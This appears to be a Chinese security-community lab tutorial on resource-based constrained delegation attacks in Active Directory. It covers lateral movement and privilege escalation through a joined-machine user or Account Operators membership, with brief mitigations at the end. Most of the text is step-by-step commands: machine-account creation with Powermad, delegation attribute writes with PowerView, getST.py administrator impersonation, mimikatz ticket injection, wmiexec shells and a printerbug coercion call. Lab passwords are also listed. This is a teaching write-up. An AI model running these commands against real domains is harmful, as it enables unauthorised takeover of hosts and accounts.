基于资源的约束委派(RBCD)-基于配置的横向移动

suhaynn2025-06-03文章来源:SecHub网络安全社区


基于资源约束委派(RBCD横向&提权)

这个对版本有要求,WinServer2012之前的不支持

不正经的说,对于约束委派,是域管在服务A上边配置了面向服务B的委派,因此可以通过控制服务A申请访问服务B的ST;那么对于基于资源委派约束,就是将设置委派的权限赋予给了服务B,不在需要域管权限来设置,

约束委派

域管让服务A说话:你可以访问谁

基于资源的约束委派

服务B让服务B说话:谁可以访问我

配置了RBCD的账户属性有如下变化:

  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户

原理:

RBCD把设置委派的权限赋予了机器自身,它不再需要域管理员权限去设置相关属性,既机器自己可以决定谁可以被委派来控制我。核心就是谁能够通过修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务A的SID,域管,机器本身和将机器加入域的那个域用户可以

资源约束委派利用分类:

1、通过管理主机加入域的用户拿下主机

2、已知Acount Operators组用户拿下主机

3、结合HTLM Relay攻击拿下主机(CVE-2019-1040)

利用场景:

如果攻击者能够在服务B的主机上,设置服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性为服务A,就允许了服务A利用S4U2Self协议代表其他用户身份来访问服务B,就能做到横向移动或者提权等操作。

利用条件:

  1. 发现多台域主机都是由同一域用户加入的,你刚好拥有该域用户的权限
  2. 发现多台域主机都不是由同一域用户加入的,但你恰好拥有某一台主机加入域所用的域用户的凭证
  3. 有了该域用户的凭据,可以通过RBCD攻击把由该用户加入的主机都拿下

举个例子:

对于第一点,域用户A将主机A和主机B加入到了域中,那么这两个主机的<font style="color:rgb(199, 37, 78);">msDS-AllowedToActOnBehalfOfOtherIdentity的属性值就都是域用户A的SID,当你恰好拥有域用户A的权限,那么就可以用RBCD拿下主机A和B

对于第二点,域用户A将主机B加入到了域中,那么主机B的<font style="color:rgb(199, 37, 78);">msDS-AllowedToActOnBehalfOfOtherIdentity的属性值就是域用户A的SID,当你恰好拥有域用户A的权限,你就可以再次以域用户A的身份重新创建一个机器账户A,添加机器账户A到主机B的基于资源的约束性委派,此时就可以进行RBCD攻击做到在主机B上的权限提升

核心目标:找到可修改机器msDS-AllowedToActOnBehalfOfOtherIdentity这个属性值的权限或用户,做到横向移动或提权等操作

复现配置:

  1. 基于资源的委派约束不是在域控上边进行配置,而是在主机本地设置
  2. 用域用户将一台主机加入到域中

判断查询

由机器找到使其加入域中的域用户

已知存在某机器账户,可以找到使其加入域中的域用户,这个用户账户具备修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限

查询被域用户创建的机器账户列表:

shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

扫到有两台主机都是由这个SID对应的用户加入的,S-1-5-21-1695257952-3088263962-2055235443-1104

S-1-5-21-1695257952-3088263962-2055235443-1104

根据查询出来的sid找出对应的用户名:

shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))" objectclass cn dn

这个SID对应的用户刚好是我们所控制的域用户dbadmin

由域用户查询由该用户加入域中的机器

已知用户查找到通过该用户加入域中的机器,

# 查用户账户SID whoami /all # 使用PowerView查经由该用户加入域内的机器账户(主机) # 需要具备GeneriCall或WriteProperty等修改权限 powershell-import PowerView.ps1 powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-1695257952-3088263962-2055235443-1104"} | select objectdn,activedirectoryrights

xiaodi.local非委派约束环境搭建

服务器 类型 IP 本地管理员账号 本地管理员密码 域用户账号 域用户密码
Win7 域成员主机 web.xiaodi.local 192.168.213.130
192.168.3.11
administrator admin!@#45 xd\dbadmin admin!@#45
web win2008 Web服务器 data.xiaodi.local 192.168.3.22 administrator admin!@#45 xd\dbadmin admin!@#45
WinServer DC 域控 dc.xiaodi.local 192.168.3.33 administrator Admin12345

Webserver双网卡192.168.213.0/24和192.168.3.0/24

其余主机都是192.168.3.0/24

VMnet3是内网网段,VMnet8是外网网段

由同一域用户加入域的主机之间横向

我们上边的环境是,我们拿到了一台域主机web,以及在web主机上登录的域用户dbadmin,而且发现Web主机和DATA主机都是由dbadmin域用户加入到域中的,

这里我们以当前立足点主机web,为serviceB,想要攻克的DATA主机为最终服务serviceC

利用条件:

  1. 发现多台域主机都是由同一域用户加入的,你恰好拥有该域用户的权限
  2. 允许该域用户创建机器账户
  3. 具有管理主机加入域的用户账户

开始利用新增机器账户

添加一个机器账户ServiceA,用于域用户通过该机器账户申请访问ServiceC的票据

# 使用addcpmputer创建机器账户,这里是创建的明文,不推荐

python3 addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Passw0rd -dc-ip 192.168.139.11

# 使用bloodyAD工具创建机器账户,这里是创建的明文,不推荐

python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 addComputer test01 'Passw0rd'

# 使用PowerMad工具创建机器账户,推荐

将工具上传到立足点主机上

powershell Set-ExecutionPolicy Bypass -Scope Process
powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

创建机器账户ServiceA,密码为123456

这里可以用Adfind再次查看由域用户创建的机器,出现了ServiceA

利用新增机器账户修改委派属性满足申请访问目标票款

获取新增账户的objectsid

powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid

S-1-5-21-1695257952-3088263962-2055235443-1108

修改ServiceC主机的资源委派属性(最终目标DATA主机)msds-allowedtoactonbehalfofotheridentity

因为当前权限是dbadmin域用户,对最终DATA目标主机的委派属性有控制权限,所以可以设置ServiceC支持ServiceA的委派,也就是写入ServiceA的SID

powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1108)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer data| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

验证和清除委派属性:

powershell import-module .\powerview.ps1;Get-DomainComputer data -Properties msds-allowedtoactonbehalfofotheridentity
powershell import-module .\powerview.ps1;Set-DomainObject data -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

利用修改后的属性申请目标请求票据后导入利用

上一步骤已经让ServiceC允许ServiceA来委派访问了,那现在就可以利用ServiceA去申请访问data主机(最终目标ServiceC)cifs服务票据:

这里需要做代理,也需要设置hosts,用ServiceA域机器账户伪造成administrator身份请求一张访问data主机CIFS服务的票据

python3 getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

  1. 导入票据到内存:

将票据上传到我们的立足点主机ServiceB并导入在立足点主机内存

mimikatz kerberos::ptc administrator@cifs_data.xiaodi.local@XIAODI.LOCAL.ccache

连接利用票据:

shell dir \\data.xiaodi.local\c$

成功的拿下DATA主机,甚至还可以在物理机对他直接远控

set KRB5CCNAME=administrator@cifs_data.xiaodi.local@XIAODI.LOCAL.ccache python3 wmiexec.py -dc-ip 192.168.3.33 -k xiaodi.local/administrator@data.xiaodi.local -no-pass
也可以 python3 wmiexec.py -k data.xiaodi.local -no-pass

也需要将data.xiaodi.local加入本地hosts文件

成功拿下,而且拿到的是Data主机的administrator权限,这就引出下边提权的思路

由域用户加入域的主机进行提权

上述域用户新增机器账户进行横向碰到是dbadmin用户将两个主机ServiceB和主机ServiceC加入用户时的横向移动,当遇到域用户只加入一个主机ServiceB到域内时,且我们有该域用户的权限时还可以对当前权限进行提权

下边的省略了第一步新建机器账户的步骤。和上述的横向移动创建是一样的,不在重复

利用新增机器账户修改委派属性满足申请访问目标票款

获取新增账户的objectsid

powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid

S-1-5-21-1695257952-3088263962-2055235443-1108

修改ServiceC主机的资源委派属性(最终目标DATA主机)msds-allowedtoactonbehalfofotheridentity

因为当前权限是dbadmin域用户,对最终DATA目标主机的委派属性有控制权限,所以可以设置ServiceC支持ServiceA的委派,也就是写入ServiceA的SID

powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1108)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer web| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

验证和清除委派属性:

powershell import-module .\powerview.ps1;Get-DomainComputer data -Properties msds-allowedtoactonbehalfofotheridentity
powershell import-module .\powerview.ps1;Set-DomainObject data -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

利用修改后的属性申请目标请求票据后导入利用

利用ServiceA申请访问当前立足点web主机的cifs服务票据:

这里需要做代理,也需要设置hosts,用ServiceA域机器账户伪造成administrator身份请求一张访问Web主机自身CIFS服务的票据,用于提权

python3 getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/web.xiaodi.local -impersonate administrator

  1. 导入票据到内存:

将票据上传到我们的立足点主机ServiceB并导入在立足点主机内存

mimikatz kerberos::ptc administrator.ccache

接着我们尝试远控直接远控

set KRB5CCNAME=administrator.ccache python3 wmiexec.py -dc-ip 192.168.3.33 -k xiaodi.local/administrator@web.xiaodi.local -no-pass

也可以

python3 wmiexec.py -k web.xiaodi.local -no-pass

记得将web.xiaodi.local加入本地hosts文件

成功拿下,当前主机权限是域用户dbadmin,现在成功提权到了本地administrator

由Acount Operators组成员进行横向

前边两个利用,第一个利用是立足点web主机登录的dbadmin域用户恰好是将web主机和data主机加入域的用户,可以从web主机横向到data主机,第二个利用是dbadmin单单是将web主机加入域的域用户,可以从web主机的dbadmin域用户权限提权到web主机的本地administrator权限,下面第三个利用,是立足点web主机上的dbadmin域用户不仅是将web主机加入域的域用户,同时还是域控Acount Operators组中的成员,这样就可以对除了域控外任意主机进行横向了。

利用思路:

我们可以查看一下我们所拥有的域用户权限是否在Acount Operators组中,如果在了,就可以利用该组成员能修改域内除域控外任意主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性的特性,去横向移动到其他机器

利用条件:

  1. 获取到属于Acount Operators组的域用账户的权限
  2. 可以创建机器账户

环境部署:

环境配置需要域管在域控的Acount Operators组添加成员,且添加的成员我们要保证能够获取到他的权限

之前的环境是web主机和data主机都是由dbadmin用户加入域的,现在把data主机退出域,在用别的域用户加入域

判断是否有利用条件:

查询Acount Operators组成员:

通过查询Acount Operators组成员来判断我们现在拥有的dbadmin域用户是否在该组中

shell adfind.exe -h 192.168.3.33:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=xiaodi,DC=local member

可以看到我们拥有的dbadmin刚好在Acount Operators组里

开始利用新增机器账户

添加一个机器账户,用于申请票据

# 使用addcpmputer创建机器账户,这里是创建的明文,不推荐

python3 addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Passw0rd -dc-ip 192.168.139.11

# 使用bloodyAD工具创建机器账户,这里是创建的明文,不推荐

python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 addComputer test01 'Passw0rd'

# 使用PowerMad工具创建机器账户,推荐

将工具上传到立足点主机上

powershell Set-ExecutionPolicy Bypass -Scope Process
powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

这里可以用Adfind再次查看由域用户创建的机器,出现了ServiceA

利用新增机器账户修改委派属性满足申请访问目标票款

获取新增账户的objectsid

powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid

S-1-5-21-1695257952-3088263962-2055235443-1108

修改ServiceC主机的资源委派属性(最终目标DATA主机)msds-allowedtoactonbehalfofotheridentity

因为当前权限是dbadmin域用户,他在Acount Operators组里边,所以对最终DATA目标主机的委派属性也有控制权限,所以可以设置ServiceC支持ServiceA的委派,也就是写入ServiceA的SID

powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1108)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer data| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

验证和清除委派属性:

powershell import-module .\powerview.ps1;Get-DomainComputer data -Properties msds-allowedtoactonbehalfofotheridentity
powershell import-module .\powerview.ps1;Set-DomainObject data -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

利用修改后的属性申请目标请求票据后导入利用

利用ServiceA申请访问data主机(最终目标ServiceC)cifs服务票据:

这里需要做代理,也需要设置hosts,以administrator身份请求一张访问data主机CIFS服务的票据

python3 getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

  1. 导入票据到内存:

将票据上传到我们的立足点主机ServiceB并导入在立足点主机内存

mimikatz kerberos::ptc administrator@cifs_data.xiaodi.local@XIAODI.LOCAL.ccache

连接利用票据:

shell dir \\data.xiaodi.local\c$

成功的拿下DATA主机,甚至还可以直接远控

set KRB5CCNAME=administrator@cifs_data.xiaodi.local@XIAODI.LOCAL.ccache python3 wmiexec.py -dc-ip 192.168.3.33 -k xiaodi.local/administrator@data.xiaodi.local -no-pass
也可以 python3 wmiexec.py -k data.xiaodi.local -no-pass

也需要将data.xiaodi.local加入本地hosts文件

成功拿下

HTLM Relay中继攻击(环境问题没有复现成功,后续补上)

利用思路:

绕过NTLM MIC校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击

利用条件:

  1. 能创建机器账户
  2. 目标开启打印机服务

利用过程:

1、监听:

-使用ntlm relay工具(后续讲到中继重放攻击等)

-responder -I eth1 -wd

2、利用打印机漏洞(CVE-2019-1040)让目标3.33强制访问3.143

下载:https://github.com/dirkjanm/krbrelayx

python printerbug.py xiaodi.local/webadmin:admin!@#45@192.168.3.33 192.168.3.143

委派约束攻击面总结

当你所控制的某个主机服务或者服务账户被域管配置了非约束性委派时你就可以通过钓鱼等方式,等待其他主机用户也访问该服务,就可以获取到这些主机的ST进行横向了

当你所控制的某个主机服务或者服务账户被域管配置了约束性委派时,这些服务能委派到哪你就能横向到哪

基于资源的委派约束,当由同一域用户(我们有权限的域用户)加入域的主机之间可以进行横向,当我们的立足点主机是由当前登录的域用户加入域时可以进行提权,当我们获取到的域用户恰好是在Acount Operators组中时可以对除了域管外所有域主机进行横向

防范措施

  • 对于高权限用户,设置为敏感用户,不能被委派
  • 若要设置委派,不设置非约束性委派而是设置约束性委派
  • 可以将敏感用户添加至Protected User组中,该组用户不允许被委派